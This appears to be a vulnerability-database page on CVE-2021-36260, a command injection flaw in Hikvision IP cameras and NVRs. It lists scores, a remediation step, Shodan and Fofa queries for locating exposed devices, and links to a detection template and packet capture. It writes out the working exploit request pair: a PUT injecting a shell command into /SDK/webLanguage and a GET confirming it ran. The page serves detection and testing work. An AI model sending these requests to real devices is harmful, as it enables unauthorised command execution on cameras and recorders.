🔙 목록으로 돌아가기

CVE-2021-36260: Hikvision IP camera/NVR - Remote Command Execution

TitleHikvision IP camera/NVR - Remote Command Execution
Authorpdteam,gy741,johnk3r
SeverityCritical
ImpactSuccessful exploitation of this vulnerability allows an attacker to execute arbitrary commands on the affected device.
RemediationApply the latest firmware update provided by Hikvision to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.94436
CVE IDCVE-2021-36260
CWE IDCWE-78
Shodan Queryhttp.favicon.hash:999357577
Fofa Queryicon_hash=999357577
Tags cve2021 cve hikvision rce iot intrusive kev vkev vuln

🔍 Vulnerability Description

Certain Hikvision products contain a command injection vulnerability in the web server due to the insufficient input validation. An attacker can exploit the vulnerability to launch a command injection attack by sending some messages with malicious commands.

🌐 HTTP Request

PUT /SDK/webLanguage HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Content-Length: 88
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip

<?xml version="1.0" encoding="UTF-8"?><language>$(echo oc92zfbod8pa>webLib/x)</language>
GET /x HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-36260.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-36260.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A